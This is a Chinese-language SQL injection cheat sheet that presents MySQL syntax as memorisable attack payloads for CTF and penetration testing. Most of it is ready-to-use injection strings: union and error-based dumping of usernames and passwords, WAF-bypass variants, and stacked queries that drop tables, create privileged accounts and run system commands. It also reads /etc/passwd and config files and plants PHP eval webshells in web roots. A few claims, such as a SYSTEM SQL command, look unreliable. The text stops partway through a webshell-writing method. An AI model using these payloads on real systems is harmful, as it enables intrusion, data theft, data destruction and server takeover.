SQL基础查询语法:注入判断与结构探测

约 87 分钟读完

本文围绕SQL注入实战场景,详细拆解「基础必背语法」+「进阶拓展语法」,包含语法定义、注入用途、手写Payload模板、适配场景、避坑注意事项,覆盖CTF、SRC渗透测试、代码审计常见用法,可直接作为笔记正文背诵、套用。

一、基础查询语法(注入判断&结构探测,必背)

核心用途:探测注入点、判断SQL语句结构、构造基础注入逻辑,是所有注入手法的前置步骤。

1. SELECT(数据查询核心)

基础语法


SELECT 列名1,列名2,... FROM 表名 WHERE 条件; -- 指定列查询
SELECT * FROM 表名; -- * 通配符,查询表中所有列
SELECT 列名 FROM 表名 LIMIT 10; -- 限制查询结果条数

注入核心用途

  • 联合查询中回显目标数据(库名、表名、字段、敏感数据);

  • 盲注(布尔/时间)中逐字符读取数据;

  • 报错注入中构造查询语句,带出隐藏信息;

  • 调用系统函数,获取数据库、用户、版本等基础信息。

注入常用变形(必背)


SELECT database(); -- 查询当前数据库名(最常用)
SELECT user(); -- 查询当前数据库连接用户
SELECT version(); -- 查询数据库版本(判断注入手法适配性)
SELECT @@datadir; -- 查询数据库数据存储目录(文件读写前置)
SELECT @@version_compile_os; -- 查询数据库所在系统(区分Windows/Linux)
SELECT current_user(); -- 查询当前有效数据库用户(判断权限)

避坑注意事项

高版本MySQL(8.0+)中,部分系统函数权限收紧,普通用户可能无法查询@@datadir等敏感路径,需结合权限判断。

2. WHERE(条件过滤,注入逻辑构造核心)

基础语法


SELECT * FROM users WHERE id=1; -- 数字型条件
SELECT * FROM users WHERE username='admin' AND password='123456'; -- 字符型条件
SELECT * FROM users WHERE id>5 AND username LIKE 'a%'; -- 多条件组合

注入核心用途

  • 构造「恒真条件」,绕过登录验证、越权查询所有数据;

  • 拼接注入语句,改变原SQL的执行逻辑(如跳过密码校验、查询敏感表);

  • 盲注中构造条件判断语句(True/False),用于猜解数据。

注入经典变形(必背)


-- 恒真条件(绕过登录/查询限制)
?id=1 OR 1=1 -- 数字型注入,无视原有id条件
?id=1' OR '1'='1 -- 字符型注入,闭合单引号后构造恒真
?id=1" OR "1"="1 -- 字符型(双引号闭合)
?id=1') OR ('1')=('1 -- 字符型(括号+单引号闭合)

-- 恒假条件(用于对比页面差异,判断注入点)
?id=1 AND 1=2 -- 数字型
?id=1' AND '1'='2 -- 字符型

避坑注意事项

条件拼接时,需先判断注入点的闭合方式(单引号、双引号、括号),否则会导致SQL语法错误,无法触发注入。

3. ORDER BY(列数判断核心)

基础语法


SELECT * FROM users ORDER BY id; -- 按id升序(默认ASC)
SELECT * FROM users ORDER BY id DESC; -- 按id降序
SELECT * FROM users ORDER BY 2; -- 按第2列排序(注入核心用法)

注入核心用途

  • 最常用:判断当前查询的「列数」(联合注入必备前置步骤);

  • 进阶:排序字段可控时,构造报错注入、布尔盲注(如ORDER BY 1 AND (注入语句));

  • 绕过:部分WAF对ORDER BY过滤较松,可作为注入突破口。

注入判断列数用法(必背)


?id=1 ORDER BY 1 -- 正常(无报错)
?id=1 ORDER BY 2 -- 正常
?id=1 ORDER BY 3 -- 正常
?id=1 ORDER BY 4 -- 报错(Unknown column '4' in 'order clause')
--> 说明当前查询共3列(联合查询需保证前后列数一致)

进阶用法(ORDER BY注入)


-- 布尔盲注(判断当前库名长度)
?id=1 ORDER BY IF(LENGTH(database())=5,1,2) -- 长度为5则按第1列排序(正常),否则按第2列(无差异则需结合时间盲注)
-- 时间盲注(延迟判断)
?id=1 ORDER BY IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),1) -- 第1个字符ASCII为116(t)则延迟5秒

4. GROUP BY(分组聚合,报错注入核心)

基础语法


SELECT count(*),username FROM users GROUP BY username; -- 按username分组,统计每组数量
SELECT SUM(score),class FROM students GROUP BY class; -- 按班级分组,求和分数

注入核心用途

  • 配合floor(rand()*2),构造「分组重复报错」,实现报错注入(无回显但有报错时可用);

  • 聚合函数注入:利用SUM、COUNT等函数,构造语法错误带出数据;

  • 绕过:部分过滤规则对GROUP BY宽松,可穿插注释绕过关键字拦截。

基础报错注入模板(必背)


?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),floor(rand()*2))x FROM information_schema.TABLES GROUP BY x)a) -- 
-- 核心逻辑:floor(rand()*2)随机生成0/1,分组时重复键值触发报错,带出database()结果

进阶变形(绕过分组限制)


-- 绕过分组字段限制(MySQL 5.7+)
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT username FROM users LIMIT 1),0x7e,floor(rand()*2))x FROM information_schema.COLUMNS GROUP BY x)a) -- 
-- 0x7e是波浪线,用于区分报错信息中的目标数据

二、联合查询语法(有回显最常用,基础+进阶)

核心用途:页面有数据回显时,直接查询并输出目标数据(库、表、字段、敏感信息),是注入效率最高的手法,需掌握基础用法+进阶绕过技巧。

UNION / UNION ALL(基础)

基础语法


SELECT 语句1 UNION SELECT 语句2; -- 自动去重,性能较低
SELECT 语句1 UNION ALL SELECT 语句2; -- 不去重,性能高,注入优先使用

关键区别(必记)

  • UNION:会自动过滤两个查询结果中的重复数据,有额外性能开销,注入时可能导致数据丢失;

  • UNION ALL:不做去重操作,直接拼接两个查询结果,效率更高,注入时优先使用,避免遗漏数据。

注入硬性规则(必背,否则报错)

  1. 前后两条SELECT语句的「列数必须完全一致」(通过ORDER BY判断列数后适配);

  2. 对应列的「数据类型要兼容」(数字型、字符串型可通用,如1可对应'admin',但日期型需适配);

  3. 若原查询有LIMIT限制,需用注释或恒真条件绕过(如?id=1 LIMIT 0,1 UNION ALL SELECT ...)。

标准注入模板(必背)


-- 1. 探测回显位(判断哪一列会在页面显示)
?id=1 UNION ALL SELECT 1,2,3 -- 假设当前查询3列,观察页面显示1、2、3中的哪一个/几个

-- 2. 读取系统基础信息(回显位为2、3为例)
?id=1 UNION ALL SELECT 1,database(),version() -- 回显当前库名、数据库版本
?id=1 UNION ALL SELECT 1,user(),@@datadir -- 回显当前用户、数据存储目录

-- 3. 读取系统库,获取所有库名
?id=1 UNION ALL SELECT 1,1,SCHEMA_NAME FROM information_schema.SCHEMATA -- 遍历所有库名

-- 4. 读取指定库下的表名(假设当前库为test)
?id=1 UNION ALL SELECT 1,1,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='test'

-- 5. 读取指定表下的字段(假设表为users)
?id=1 UNION ALL SELECT 1,1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='test' AND TABLE_NAME='users'

-- 6. 读取敏感数据(假设字段为username、password)
?id=1 UNION ALL SELECT 1,username,password FROM test.users

联合查询进阶用法(绕过+高效注入)

1. 绕过LIMIT限制


-- 原查询可能有LIMIT(如SELECT * FROM users WHERE id=1 LIMIT 0,1),直接拼接会被限制
?id=1 LIMIT 0,1 UNION ALL SELECT 1,username,password FROM users -- 保留原LIMIT,拼接查询
?id=1 OR 1=1 UNION ALL SELECT 1,2,3 -- 用恒真条件覆盖LIMIT限制

2. 绕过列数/数据类型不兼容


-- 列数不足:用NULL填充(NULL可兼容所有数据类型)
?id=1 UNION ALL SELECT NULL,NULL,database() -- 若原查询3列,前两列用NULL填充
-- 数据类型不兼容:用字符串/数字转换(如日期型字段用123456替代)
?id=1 UNION ALL SELECT 1,'2024-01-01',database() -- 日期列用字符串填充

3. 高效脱库(批量读取数据)


-- 用CONCAT_WS拼接多字段,一次性回显
?id=1 UNION ALL SELECT 1,1,CONCAT_WS('-',username,password,email) FROM test.users
-- 用GROUP_CONCAT拼接所有结果,避免分页遍历
?id=1 UNION ALL SELECT 1,1,GROUP_CONCAT(username,':',password) FROM test.users

4. 绕过关键字过滤(联合查询变形)


-- 大小写混淆(绕过全小写过滤)
?id=1 UnIoN AlL SeLeCt 1,2,3
-- 注释穿插(绕过UNION、SELECT过滤)
?id=1 U/**/NION A/**/LL S/**/ELECT 1,2,3
-- 内联注释(MySQL特性,绕过WAF拦截)
?id=1 /*!UNION*/ /*!ALL*/ /*!SELECT*/ 1,2,3

三、MySQL系统库:information_schema + 进阶系统表(脱库核心)

核心作用:MySQL内置系统库,存储「所有数据库、表、字段、权限、字符集」等元数据,是注入脱库的核心入口;进阶部分补充高版本MySQL(8.0+)新增系统表,适配不同版本场景。

基础必背:三张核心系统表(所有MySQL版本通用)

表名 存储内容 注入常用字段 核心注入语句
SCHEMATA 所有数据库的基本信息(库名、编码等) SCHEMA_NAME(库名,核心) SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;
TABLES 所有表的基本信息(所属库、表名、创建时间等) TABLE_SCHEMA(所属库名)、TABLE_NAME(表名) SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名';
COLUMNS 所有字段的基本信息(所属库、表、字段名、类型等) TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME(字段名) SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名' AND TABLE_NAME='表名';

进阶补充:其他常用系统表(适配不同场景)

1. COLUMNS_PRIV / TABLE_PRIV(权限查询)

用途:查询数据库用户的表/字段权限,判断当前用户是否有FILE、ALTER、DROP等高权限,用于后续高权限利用。


-- 查询当前用户的表权限
SELECT TABLE_NAME,PRIVILEGE_TYPE FROM information_schema.TABLE_PRIV WHERE GRANTEE='root@localhost';
-- 查询当前用户的字段权限
SELECT COLUMN_NAME,PRIVILEGE_TYPE FROM information_schema.COLUMNS_PRIV WHERE TABLE_NAME='users';

2. PROCESSLIST(进程查询)

用途:查看当前数据库正在执行的SQL进程,可获取其他用户的查询语句、连接信息,用于横向渗透、获取更多敏感数据。


SELECT ID,USER,HOST,INFO FROM information_schema.PROCESSLIST WHERE INFO IS NOT NULL;
-- INFO字段存储正在执行的SQL语句,可能包含密码、敏感查询等

3. MySQL 8.0+ 新增系统表(替代information_schema部分功能)

MySQL 8.0+ 中,information_schema部分表权限收紧,可使用以下表替代,提升注入成功率:


-- 1. mysql.databases(替代SCHEMATA,查询所有库名)
SELECT SCHEMA_NAME FROM mysql.databases;
-- 2. mysql.tables(替代TABLES,查询所有表名)
SELECT TABLE_NAME FROM mysql.tables WHERE TABLE_SCHEMA='test';
-- 3. mysql.columns(替代COLUMNS,查询所有字段名)
SELECT COLUMN_NAME FROM mysql.columns WHERE TABLE_SCHEMA='test' AND TABLE_NAME='users';

避坑注意事项

  • MySQL 5.0+ 才支持information_schema系统库,5.0以下需用其他手法(如猜解表名、报错注入);

  • 低权限用户(如普通应用用户)可能无法访问mysql数据库下的系统表,需优先尝试information_schema;

  • 查询时若出现「Access denied」,说明当前用户权限不足,需切换注入手法(如盲注)。

四、注释符(SQL截断、绕过闭合必备,基础+进阶)

核心用途:截断原SQL语句的后续内容,避免注入语句被原语句的引号、括号闭合,同时可用于绕过WAF关键字过滤,是所有注入手法的必备辅助。

基础注释符(3种,必背)

注释符 语法格式 适用场景 注入示例 注意事项
-- (横线+空格) 语句 -- 注释内容 所有MySQL版本、通用兼容性最强 ?id=1' -- 123 必须加空格,否则注释无效;URL中可替换为--+(+是空格的URL编码)
# 语句 # 注释内容 MySQL专属,简洁高效 ?id=1' # URL中需编码为%23(直接用#可能被浏览器解析为锚点)
/**/ 语句/**/注释内容 所有MySQL版本,可替代空格、穿插关键字 ?id=1' u//nion s//elect 1,2,3# 可嵌套使用(如///),绕过WAF对注释符的过滤

进阶注释符(绕过WAF核心,必学)

1. MySQL内联注释(/*! ... */)

核心特性:MySQL会执行注释内的语句,其他数据库(如Oracle、MSSQL)会当作普通注释忽略,可绕过WAF对关键字的拦截(WAF可能过滤UNION、SELECT,内联注释可规避)。


-- 基础用法(执行注释内的语句)
?id=1' /*!UNION*/ /*!ALL*/ /*!SELECT*/ 1,2,3#
-- 进阶用法(指定MySQL版本执行,绕过版本检测WAF)
?id=1' /*!50000UNION*/ ALL SELECT 1,2,3# -- 仅MySQL 5.0.0+ 执行UNION,低版本忽略
?id=1' /*!80000SELECT*/ database()# -- 仅MySQL 8.0.0+ 执行SELECT

2. 特殊字符注释(绕过过滤)

用途:部分WAF会过滤--、#、/**/,可使用特殊字符拼接注释符,实现截断效果。


-- 1. 换行注释(%0a是URL编码的换行符)
?id=1' --%0a 123(换行后,后续内容被注释)
-- 2. 空字符注释(%00是URL编码的空字符,截断SQL)
?id=1' union select 1,2,3%00 -- 空字符后内容被截断
-- 3. 多注释符嵌套(绕过WAF对单一注释符的过滤)
?id=1' /*/**/union/*/**/select/*/**/1,2,3#

3. 注释符的实战绕过技巧


-- 场景1:WAF过滤--和#,用/**/截断
?id=1' union select 1,2,3/**/
-- 场景2:WAF过滤/**/,用--+和换行结合
?id=1' --+%0aunion select 1,2,3
-- 场景3:关键字和注释符穿插,绕过拦截
?id=1' u--+nion s--+elect 1,2,3#

五、字符串处理函数(盲注/报错核心,基础+进阶)

核心用途:盲注(布尔/时间)中逐字符猜解数据、报错注入中拼接数据,进阶函数可实现更灵活的猜解的绕过过滤,是无回显注入的核心工具。

基础字符串函数(必背,6个)

函数名 语法 功能说明 注入示例
CONCAT() CONCAT(str1,str2,...) 拼接多个字符串,无分隔符 CONCAT(username,':',password) → admin:123456
CONCAT_WS() CONCAT_WS(分隔符,str1,str2,...) 拼接多个字符串,用指定分隔符分隔(避免NULL影响) CONCAT_WS('-',database(),version()) → test-8.0.36
LENGTH() LENGTH(str) 返回字符串的长度(字节数,中文占3字节) LENGTH(database()) → 4(库名为test时)
SUBSTR() SUBSTR(str,pos,len) 截取字符串,pos是起始位置(1开始),len是截取长度 SUBSTR('admin',1,3) → adm
MID() MID(str,pos,len) 与SUBSTR功能完全一致,可相互替代(绕过函数过滤) MID(database(),1,1) → t
ASCII() ASCII(str) 返回字符串第一个字符的ASCII码(盲注猜解核心) ASCII('t') → 116

进阶字符串函数(注入绕过+高效猜解,必学)

1. 替代函数(绕过函数过滤)

场景:WAF过滤SUBSTR、ASCII等常用函数,用以下函数替代,不影响功能。


-- 1. 截取函数替代(SUBSTR/MID → SUBSTRING/LEFT/RIGHT)
SUBSTRING(str,pos,len) → 与SUBSTR完全一致
LEFT(str,len) → 截取字符串前len个字符(LEFT('admin',3) → adm)
RIGHT(str,len) → 截取字符串后len个字符(RIGHT('admin',2) → in-- 2. ASCII码函数替代(ASCII → ORD)
ORD(str) → 返回字符串第一个字符的ASCII码,与ASCII功能一致(ORD('t') → 116-- 3. 长度函数替代(LENGTH → CHAR_LENGTH)
CHAR_LENGTH(str) → 返回字符串的字符数(中文占1字符,LENGTH占3字节)
-- 区别示例:CHAR_LENGTH('测试') → 2,LENGTH('测试') → 6

2. 编码/解码函数(绕过字符过滤、隐藏数据)

用途:将敏感字符(如单引号、双引号)编码,绕过WAF过滤;或在报错注入中,避免特殊字符导致语法错误。


-- 1. 十六进制编码(HEX)+ 解码(UNHEX)
HEX('admin') → 61646D696E(将字符串转为十六进制)
UNHEX('61646D696E') → admin(将十六进制转回字符串)
-- 注入示例(绕过单引号过滤)
?id=1' UNION SELECT 1,UNHEX('6461746162617365'),3# → 等价于SELECT 1,database(),3

-- 2. 十进制编码(ASCII拼接)
CHAR(97,100,109,105,110) → admin(97是a的ASCII,依次拼接)
-- 注入示例(绕过字符串过滤)
?id=1' UNION SELECT 1,CHAR(100,97,116,97,98,97,115,101),3# → 等价于SELECT 1,database(),3

-- 3. BASE64编码(TO_BASE64)+ 解码(FROM_BASE64)
TO_BASE64('admin') → YWRtaW4=
FROM_BASE64('YWRtaW4=') → admin
-- 注入示例(隐藏注入语句)
?id=1' AND EXTRACTVALUE(1,FROM_BASE64('dGVzdA==')) -- 等价于EXTRACTVALUE(1,'test')

3. 模糊匹配函数(盲注进阶,提升猜解效率)

用途:布尔盲注中,无需逐字符猜解,可模糊匹配字符串,减少请求次数。


-- 1. LIKE(模糊匹配,支持通配符%、_)
-- 示例:判断当前库名是否以t开头
?id=1' AND database() LIKE 't%' -- 匹配成功则页面正常,否则异常
-- 示例:判断当前库名长度为4,且第二个字符为e
?id=1' AND database() LIKE '_e__'

-- 2. REGEXP(正则匹配,更灵活)
-- 示例:判断当前库名包含test字符
?id=1' AND database() REGEXP 'test'
-- 示例:判断当前库名第一个字符为a-f之间的字母
?id=1' AND database() REGEXP '^[a-f]'

-- 3. INSTR(返回子串在字符串中的位置,无则返回0)
-- 示例:判断password中包含123
?id=1' AND INSTR(password,'123')>0 -- 包含则返回大于0的数(True)

避坑注意事项

  • 中文处理:LENGTH()计算中文字节数(UTF-8编码占3字节),CHAR_LENGTH()计算字符数,盲注时需区分;

  • 编码绕过:十六进制、BASE64编码后,需确保注入语句语法正确,避免编码后出现特殊字符;

  • 函数过滤:若多个函数被过滤,可组合使用替代函数(如LEFT+ORD替代SUBSTR+ASCII)。

六、MySQL报错函数(无回显但有报错,基础+进阶)

核心用途:页面无数据回显,但会打印SQL错误信息时,利用报错函数构造语法错误,将目标数据(库名、表名等)带入报错信息中输出,是无回显注入的常用手法。

基础报错函数3个(必背),进阶报错函数4个(适配不同场景、绕过过滤)。

基础报错函数(3个,必背)

1. EXTRACTVALUE()(最常用,兼容性强)

语法


EXTRACTVALUE(xml_doc, xpath_expr)

注入原理

函数用于从XML文档中提取符合XPath表达式的内容;若XPath表达式语法错误,MySQL会将错误信息和查询结果一起输出,利用此特性带出目标数据。

关键限制

最大回显长度约32位,超过部分会被截断,需配合SUBSTR()分段读取长数据。

标准Payload(必背)


-- 基础用法(带出当前库名)
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e)) -- 
-- 0x7e是波浪线(~),用于区分报错信息中的目标数据,避免被错误信息淹没

-- 分段读取长数据(如密码,超过32位)
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT password FROM users LIMIT 1),1,30),0x7e)) -- 读取前30位
?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT password FROM users LIMIT 1),31,60),0x7e)) -- 读取31-60位

2. UPDATEXML()(与EXTRACTVALUE类似,可替代)

语法


UPDATEXML(xml_doc, xpath_expr, new_xml)

注入原理

函数用于修改XML文档中符合XPath表达式的内容;与EXTRACTVALUE一致,利用XPath语法错误,带出目标数据。

标准Payload(必背)


-- 基础用法(带出数据库版本)
?id=1' AND UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1) -- 
-- 第三个参数1可任意填写,不影响报错效果

-- 进阶用法(结合编码绕过)
?id=1' AND UPDATEXML(1,CONCAT(0x7e,UNHEX(HEX(database())),0x7e),1) -- 十六进制编码绕过过滤

3. FLOOR(RAND()*2) 分组报错(无长度限制,必背)

语法


SELECT COUNT(*), CONCAT(目标数据, FLOOR(RAND()*2)) FROM 表名 GROUP BY 拼接字段;

注入原理

FLOOR(RAND()*2) 随机生成0或1;GROUP BY分组时,会重复计算拼接字段(目标数据+0/1),当出现重复键值时,触发「Duplicate entry」报错,带出目标数据。

关键优势

无回显长度限制,可一次性读取长数据(如密码哈希),适配EXTRACTVALUE/UPDATEXML无法读取长数据的场景。

标准Payload(必背)


-- 基础用法(带出当前库名)
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND()*2))x FROM information_schema.TABLES GROUP BY x)a) -- 

-- 进阶用法(带出敏感数据,无长度限制)
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users WHERE username='admin' LIMIT 1),FLOOR(RAND()*2))x FROM information_schema.COLUMNS GROUP BY x)a) -- 

-- 绕过变形(绕过分组限制)
?id=1' AND (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.TABLES GROUP BY x) -- RAND(0)固定随机序列,提升报错成功率

进阶报错函数(4个,适配特殊场景)

1. NAME_CONST()(MySQL 5.0+ 可用)

用途:当FLOOR、EXTRACTVALUE被过滤时使用,构造重复列名报错。


-- Payload(带出当前库名)
?id=1' AND (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) -- 
-- 原理:重复构造相同的列名(database()的值),触发「Duplicate column name」报错

2. JOIN 报错(无函数依赖,绕过函数过滤)

用途:不依赖任何报错函数,仅通过JOIN语法错误触发报错,适合所有函数被过滤的场景。


-- Payload(带出当前库名)
?id=1' AND (SELECT 1 FROM (SELECT 1 UNION SELECT 2)a JOIN (SELECT 1 UNION SELECT 2)b ON a.1=b.1) -- 
-- 原理:JOIN连接时,列名1重复,触发「Duplicate column name '1'」报错,可替换1为目标数据
?id=1' AND (SELECT 1 FROM (SELECT database() UNION SELECT 2)a JOIN (SELECT database() UNION SELECT 2)b ON a.1=b.1) -- 

3. EXP()(对数报错,适配高版本MySQL)

用途:MySQL 5.5+ 可用,利用EXP()函数计算溢出,触发报错。


-- Payload(带出当前库名)
?id=1' AND EXP(~(SELECT * FROM (SELECT database())a)) -- 
-- 原理:~是按位取反,SELECT database()的结果取反后,EXP()计算会溢出,带出目标数据

4. GTID_SUBSET()(MySQL 5.6+ 可用)

用途:高版本MySQL专属,利用GTID相关函数语法错误报错,绕过常规过滤。


-- Payload(带出当前库名)
?id=1' AND GTID_SUBSET(CONCAT(0x7e,database(),0x7e),1) -- 
-- 原理:第二个参数必须是GTID集,传入1触发语法错误,带出第一个参数中的目标数据

避坑注意事项

  • EXTRACTVALUE/UPDATEXML有32位长度限制,长数据需分段读取;

  • FLOOR报错成功率约50%(随机序列),可使用RAND(0)固定序列,提升成功率;

  • 高版本MySQL(8.0+)部分报错函数权限收紧,优先尝试JOIN报错、GTID_SUBSET()。

七、多语句执行:堆叠注入(基础+进阶,高危利用)

核心用途:用分号(;)分隔多条SQL语句,一次性执行查询、删除、修改、写入等操作,高危程度极高,可直接接管数据库/服务器;进阶部分补充绕过限制、高危操作场景。

基础用法(必背)

语法


语句1; 语句2; 语句3; -- 分号分隔,依次执行所有语句

适用条件(必记,否则无法触发)

  1. 数据库驱动支持多语句执行(如PHP+MySQL原生驱动、MSSQL,最常用);

  2. PDO、参数化查询默认禁用多语句执行(需关闭emulate_prepares参数才可能触发);

  3. 注入点支持分号(;)传入,未被WAF过滤。

基础注入示例(必背)


-- 1. 查询+删除(高危)
?id=1'; DROP TABLE users; -- 先执行原查询,再删除users表
-- 2. 查询+插入(越权创建账号)
?id=1'; INSERT INTO users(username,password) VALUES('hacker','123456'); -- 创建黑客账号
-- 3. 查询+修改(越权提升权限)
?id=1'; UPDATE users SET password='123456' WHERE username='admin'; -- 修改admin密码
-- 4. 查询+写文件(拿Webshell)
?id=1'; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'; -- 

进阶用法(绕过限制+高危利用)

1. 绕过分号(;)过滤

场景:WAF过滤分号,无法直接传入,用特殊字符替代分号,实现多语句执行。


-- 1. 用换行符%0a替代分号(MySQL支持换行分隔语句)
?id=1'%0aDROP TABLE users%0a-- 
-- 2. 用空字符%00替代分号(截断后执行下一条语句)
?id=1'%00DROP TABLE users-- 
-- 3. 用注释符+换行替代分号
?id=1'/*;*/%0aDROP TABLE users-- 

2. 绕过PDO禁用多语句限制

场景:PHP使用PDO连接数据库,默认禁用多语句,可通过以下方法触发:


-- 1. 关闭emulate_prepares参数(若代码中未设置)
-- 代码层面:$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 关闭后可能触发
-- 注入Payload:?id=1'; DROP TABLE users; -- 
-- 2. 用特殊语法绕过(MySQL 5.7+)
?id=1'/*!;*/ DROP TABLE users-- 内联注释包裹分号,绕过PDO检测

3. 高危堆叠注入场景(实战重点)


-- 1. 创建数据库用户+授权(接管数据库)
?id=1'; CREATE USER 'hacker'@'localhost' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'localhost'; FLUSH PRIVILEGES; -- 
-- 2. 读取系统敏感文件+写入木马(联动文件读写)
?id=1'; SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/html/passwd.txt'; -- 读取系统密码文件
?id=1'; SELECT LOAD_FILE('/var/www/html/config.php') INTO OUTFILE '/var/www/html/config.txt'; -- 读取数据库配置
-- 3. 执行系统命令(需高权限+特殊配置)
?id=1'; SYSTEM ls /var/www/html; -- MySQL 5.1+ 支持SYSTEM命令,直接执行系统命令
?id=1'; SELECT sys_exec('ls /var/www/html') INTO OUTFILE '/var/www/html/ls.txt'; -- 用sys_exec函数执行命令(需安装UDF)

4. 堆叠注入+二次注入联动

场景:注入点无法直接执行多语句,可通过二次注入触发堆叠注入(如注册账号时插入堆叠语句,登录时触发)。


-- 1. 注册账号(插入堆叠语句)
username=test'; DROP TABLE users; -- &password=123456(入库时未过滤分号)
-- 2. 登录时(查询账号,触发堆叠语句)
SELECT * FROM users WHERE username='test'; DROP TABLE users; -- ' AND password='123456'
-- 执行后,users表被删除

避坑注意事项

  • 堆叠注入高危,测试时需谨慎(避免误删数据),实战中需先判断权限;

  • 部分数据库(如PostgreSQL)不支持多语句执行,仅MySQL、MSSQL常用;

  • WAF对分号、DROP、INSERT等高危关键字过滤较严,需结合注释、编码绕过。

八、文件读写函数(高权限利用,拿Webshell核心,基础+进阶)

核心用途:数据库用户拥有FILE权限时,读取服务器系统文件、网站源码、配置文件,或写入Webshell、后门文件,实现服务器接管;进阶部分补充路径获取、绕过写入限制、权限提升。

基础文件读写函数(2个,必背)

1. LOAD_FILE()(读取文件,核心)

语法


LOAD_FILE('文件绝对路径')

前提条件(必记,缺一不可)

  1. 当前数据库用户拥有「FILE权限」(用SELECT FILE_PRIV FROM mysql.user WHERE user='当前用户'; 判断);

  2. 文件路径必须是「绝对路径」(相对路径无法读取);

  3. 目标文件存在,且服务器系统用户(如mysql)对文件有「可读权限」;

  4. MySQL配置中,secure_file_priv参数不为NULL(为NULL时禁用文件读写,为指定目录时仅允许该目录读写)。

基础读取示例(必背)


-- 1. 读取系统敏感文件(Linux)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/etc/passwd') -- 读取系统用户密码文件
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/etc/my.cnf') -- 读取MySQL配置文件(含密码、路径等)

-- 2. 读取系统敏感文件(Windows)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('C:/Windows/system32/drivers/etc/hosts') -- 读取hosts文件
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('C:/xampp/apache/conf/httpd.conf') -- 读取Apache配置文件

-- 3. 读取网站源码/配置文件(通用)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/var/www/html/config.php') -- Linux网站配置(数据库账号密码)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('C:/xampp/htdocs/conn.php') -- Windows网站连接文件
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/var/www/html/index.php') -- 读取网站首页源码(审计漏洞)

-- 4. 读取中文路径/特殊字符文件(编码适配)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE(UNHEX(HEX('C:/Program Files/MySQL/my.ini'))) -- 十六进制编码处理空格、中文

2. INTO OUTFILE / INTO DUMPFILE(写入文件,拿Webshell核心)

语法


-- INTO OUTFILE:写入文件,会自动换行、转义特殊字符(常用)
SELECT 内容 INTO OUTFILE '文件绝对路径';
-- INTO DUMPFILE:写入文件,不换行、不转义特殊字符(适合写入二进制文件,如exe、dll)
SELECT 内容 INTO DUMPFILE '文件绝对路径';

前提条件(与LOAD_FILE一致,必记)

  1. 当前数据库用户拥有「FILE权限」;

  2. 目标路径必须是「绝对路径」,且MySQL用户对该路径有「可写权限」(如网站根目录/var/www/html、C:/xampp/htdocs);

  3. secure_file_priv参数不为NULL(为指定目录时,只能写入该目录);

  4. 目标文件不能已存在(OUTFILE/DUMPFILE无法覆盖已有文件,会报错)。

基础写入示例(必背,拿Webshell核心)


-- 1. 写入一句话Webshell(Linux,最常用)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' -- 
-- 访问http://目标IP/shell.php,用蚁剑/菜刀连接,密码cmd

-- 2. 写入一句话Webshell(Windows)
?id=1' UNION ALL SELECT 1,1,'<?php @eval($_REQUEST[pass]);?>' INTO OUTFILE 'C:/xampp/htdocs/webshell.php' -- 
-- 连接密码pass,适配Windows网站根目录

-- 3. 写入简单文本文件(测试可写性)
?id=1' UNION ALL SELECT 1,1,'test' INTO OUTFILE '/var/www/html/test.txt' -- 测试路径是否可写
?id=1' UNION ALL SELECT 1,1,CONCAT_WS('-',database(),user()) INTO OUTFILE '/var/www/html/info.txt' -- 写入敏感信息

-- 4. 用DUMPFILE写入二进制文件(进阶)
?id=1' UNION ALL SELECT 1,1,LOAD_FILE('/usr/bin/netcat') INTO DUMPFILE '/var/www/html/nc.exe' -- 写入nc工具,用于后续渗透

进阶用法(绕过限制+高权限利用,必学)

1. 绕过secure_file_priv限制(核心难点)

场景:secure_file_priv设为指定目录(如/tmp),无法写入网站根目录,用以下方法绕过:


-- 方法1:利用软链接(Linux,需高权限)
-- 1. 先写入软链接文件到允许目录(/tmp)
?id=1' UNION ALL SELECT 1,1,'ln -s /var/www/html /tmp/web' INTO OUTFILE '/tmp/link.sh' -- 生成软链接脚本
-- 2. 执行脚本(需堆叠注入+系统命令执行权限)
?id=1'; SYSTEM sh /tmp/link.sh; -- 执行脚本,创建/tmp/web指向网站根目录
-- 3. 写入Webshell到软链接目录(等价于写入网站根目录)
?id=1' UNION ALL SELECT 1,1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/tmp/web/shell.php' -- 

-- 方法2:利用MySQL日志文件(通用,无需高权限)
-- 1. 查看日志配置,开启通用日志
?id=1'; SET GLOBAL general_log = 'ON'; -- 开启通用日志
?id=1'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; -- 设置日志文件为网站根目录下的shell.php
-- 2. 执行包含一句话木马的SQL语句(日志会记录该语句,即写入木马)
